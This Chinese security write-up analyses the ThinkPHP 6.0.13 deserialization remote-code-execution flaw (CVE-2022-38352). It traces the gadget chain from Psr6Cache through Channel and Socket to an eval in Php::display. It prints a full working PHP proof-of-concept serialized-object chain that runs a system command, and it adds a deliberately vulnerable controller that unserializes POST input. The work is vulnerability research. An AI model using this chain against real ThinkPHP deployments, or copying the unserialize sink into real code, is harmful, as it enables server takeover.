Thinkphp v6.0.13反序列化rce漏洞(CVE-2022-38352)分析
摘要:ThinkPHP 6.0.13 反序列化rce漏洞分析
一、漏洞介绍
Thinkphp 6.0.13版本存在反序列化漏洞,攻击者可以通过组件League\Flysystem\Cached\Storage\Psr6Cache包含反序列化漏洞
目前的Thinkphp6.1.0以上已经将filesystem移除了 因为此处存在好多条反序列化漏洞
二、漏洞影响版本
Thinkphp <= v6.0.13
三、漏洞环境
利用 composer安装Thinkphp6.0.13:
1
| composer create-project topthink/think=6.0.13 tp6
|
注:tp6之后只能使用composer安装

这里即使指定了版本。composer默认下载的还是 稳定版本的thinkphp 最终打开是个6.1.3的版本 这个版本的依赖剔除了 League\Flysystem 这是反序列化漏洞的重要一环
因此 这里复现环境就下载了一个打包好的 6.0.8的版本的Thinkphp
四、漏洞分析
poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{ private $pool; protected $autosave = false; public function __construct($exp) { $this->pool = $exp; } } }
namespace think\log{ class Channel{ protected $logger; protected $lazy = true;
public function __construct($exp) { $this->logger = $exp; $this->lazy = false; } } }
namespace think{ class Request{ protected $url; public function __construct() { $this->url = '<?php system("calc"); exit(); ?>'; } } class App{ protected $instances = []; public function __construct() { $this->instances = ['think\Request'=>new Request()]; } } }
namespace think\view\driver{ class Php{} }
namespace think\log\driver{
class Socket{ protected $config = []; protected $app; protected $clientArg = [];
public function __construct() { $this->config = [ 'debug'=>true, 'force_client_ids' => 1, 'allow_client_ids' => '', 'format_head' => [new \think\view\driver\Php,'display'], ]; $this->app = new \think\App(); $this->clientArg = ['tabid'=>'1']; } } }
namespace{ $c = new think\log\driver\Socket(); $b = new think\log\Channel($c); $a = new League\Flysystem\Cached\Storage\Psr6Cache($b); echo urlencode(serialize($a)); }
|
观察可知,最终利用点是在 think\view\driver\Php.php 的 display方法

存在 eval(‘?>’ . $this->content); 命令执行

由于这个框架向上挖麻烦一些,这里我们直接跟着poc 调试一下 看看这条链子调用过程
根据poc可知 反序列化链子入口点在:League\Flysystem\Cached\Storage\Psr6Cache
Psr6Cache类是没有__destruct()方法的
但是它继承了AbstractCache 其父类 的League\Flysystem\Cached\Storage\AbstractCache的__destruct()方法:

$this->autosave可控,因此调用Psr6Cache类的save()方法
1 2 3 4 5 6
| public function save(){ $item = $this->pool->getItem($this->key); $item->set($this->getForStorage()); $item->expiresAfter($this->expire); $this->pool->save($item); }
|
当调用一个未定义或不可访问方法时, __call() 方法将被调用
$this->pool可控,这里可以通过其中$this->pool->getItem($this->key); 调用任意类的__call()方法
这里我们用到的是 think\log\Channel类的__call()方法:
Channel类不具有 getItem()方法,因此 给$this->pool 赋值 Channel类对象,可以出发其 __call()魔术方法
1 2 3 4 5 6 7
| public function log($level, $message, array $context = []){ $this->record($message, $level, $context); }
public function __call($method, $parameters){ $this->log($method, ...$parameters); }
|
Channel::__call() 中调用了 log()方法,而log()又调用了 record()方法
我们跟进查看一下 Channel::record() 方法的代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| public function record($msg, string $type = 'info', array $context = [], bool $lazy = true){ if ($this->close || (!empty($this->allow) && !in_array($type, $this->allow))){ return $this; }
if (is_string($msg) && !empty($context)) { $replace = []; foreach ($context as $key => $val) { $replace['{' . $key . '}'] = $val; } $msg = strtr($msg, $replace); }
if (!empty($msg) || 0 === $msg) { $this->log[$type][] = $msg; if ($this->event) { $this->event->trigger(new LogRecord($type, $msg)); } }
if (!$this->lazy || !$lazy) { $this->save(); }
return $this; }
|
参数都可控 前三个判断都可以过 这里要利用的是第四个if判断
$lazy默认是true不可控,但可以通过控制$this->lazy参数为 false 即可调用 Channel::save()方法:
继续跟进 查看一下 Channel::save()方法 的代码实现
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function save(): bool{ $log = $this->log; if ($this->event) { $event = new LogWrite($this->name, $log); $this->event->trigger($event); $log = $event->log; }
if ($this->logger->save($log)) { $this->clear(); return true; }
return false; }
|
其中 $this->logger可控 因此我们可以调用任意类的save()方法
继续找可利用的,哪个类的save()方法可以利用呢?
我们找到了 think\log\driver\Socket 类的save()方法:

该方法存在 invoke()方法,类似于java里的反射,可以利用 调用任意类的任意方法
下面就想办法 怎么执行到此处
首先是要绕过第一个判断,if (!$this->check()),需要check()方法返回true,check方法的主要功能是获取用户输入的taid参数、检查是否记录日志和用户认证
跟进check()方法看看:

这里控制
- $this->clientArg[‘tabid’] = 1
- $this->config[‘force_client_ids’] 为 1
- $this->config[‘allow_client_ids’] 为空
即可使 Socket::check() 返回true
回到 Socket::check()
继续看第二个判断,需要满足
- $this->config[‘debug’] = true 开启debug
- $this->app->exists(‘request’) 返回 true
即可控制 $currentUri 的值

第二个条件是重点,$this->app 应该为 think\App 类实例

我们跟进查看一下 exists()方法的代码实现:
think\App 不存在exists()方法 因此会继承其父类 think\Container 中的 exists()方法

传入的$abstract参数是request,调用getAlias()方法。这个方法作用为:根据别名获取真实类名,所以这个函数的返回的是think\Request。然后 return isset($this->instances[$abstract]);
因此 isset($this->instances[$abstract]) 需要为 true,即给$this->instances赋值为['think\Request'=>new Request()]
所以给$this->app赋值为think\APP类,$this->app->instances = [‘think\Request’=>new Request()];
然后继续向下 进入if语句里:
1 2 3
| if ($this->app->exists('request')) { $currentUri = $this->app->request->url(true); }
|
执行 $this->app->request->url(true),调用 request 类的url()方法,形参$complete 为true

然后获取 request 实例对象的 url 属性的值(可控),赋值给$url 因为传入的$complete参数为true,所以会调用domain()方法,并将domain()方法返回结果 (http://) 和$url拼接起来 作为返回结果赋值 $currentUri
然后进入第三个if判断,给$this->config[‘format_head’]赋值,即可执行Container类的invoke方法:
1 2 3 4 5 6 7
| if (!empty($this->config['format_head'])) { try { $currentUri = $this->app->invoke($this->config['format_head'], [$currentUri]); } catch (NotFoundExceptionInterface $notFoundException) { } }
|
跟进invoke()方法,执行第三个return语句

继续跟进 Container类的invokeMethod()方法

其中
- $class和$method 是我们控制的
$this->config['format_head']变量中的内容,
- $vars是$currentUri变量中的内容,而$currentUri变量 是 前面提到的Request类的url()方法赋值的。该方法 return时 拼接时传入的
$this->url部分是我们可控的 控制 $this->url的值为恶意代码即可
类、类的方法、传入的参数 这三个值我们都可控,因此可以调用 任意类的任意函数 执行自己想要的操作
因此、现在寻找一个可利用的类和方法即可
而我们前面提到了:
think\view\driver\Php.php 类的 display()方法 里 存在 eval()函数

eval()函数的参数为 ‘?>’ 拼接 函数参数传入的$content的值
调用 Php->display("<?php 恶意代码;?>") 即可实现 rce
即:
- Socket类:$this->config[‘format_head’] = [new \think\view\driver\Php,’display’]
- Request类:$this->url =
'<?php system(\'calc\'); exit(); ?>';
最终编写 poc 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
| <?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{ private $pool; protected $autosave = false; public function __construct($exp) { $this->pool = $exp; } } }
namespace think\log{ class Channel{ protected $logger; protected $lazy = true;
public function __construct($exp) { $this->logger = $exp; $this->lazy = false; } } }
namespace think{ class Request{ protected $url; public function __construct() { $this->url = '<?php system("calc"); exit(); ?>'; } } class App{ protected $instances = []; public function __construct() { $this->instances = ['think\Request'=>new Request()]; } } }
namespace think\view\driver{ class Php{} }
namespace think\log\driver{
class Socket{ protected $config = []; protected $app; protected $clientArg = [];
public function __construct() {
$this->config = [ 'debug'=>true, 'force_client_ids' => 1, 'allow_client_ids' => [], 'format_head' => [new \think\view\driver\Php,'display'], ]; $this->app = new \think\App(); $this->clientArg = ['tabid'=>'1']; } } }
namespace{ $c = new think\log\driver\Socket(); $b = new think\log\Channel($c); $a = new League\Flysystem\Cached\Storage\Psr6Cache($b); echo urlencode(base64_encode(serialize($a))); }
|
五、漏洞复现
本地 php_study_pro 开个ngnix环境
手动在 app/controller/Index.php 添加一个反序列化点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php namespace app\controller;
use app\BaseController;
class Index extends BaseController { public function index(){ if($_POST["a"]){ unserialize(base64_decode($_POST["a"])); } return "hello"; }
public function hello($name = 'ThinkPHP6') { return 'hello,' . $name; } }
|
把poc 生成的payload 打一下

成功弹出计算器
这个反序列化漏洞,主要点集中在在 Socket类 的变量控制、php的反射 以及 Php类中的display方法利用
参考:
https://github.com/top-think/framework/issues/2749
https://xz.aliyun.com/t/12169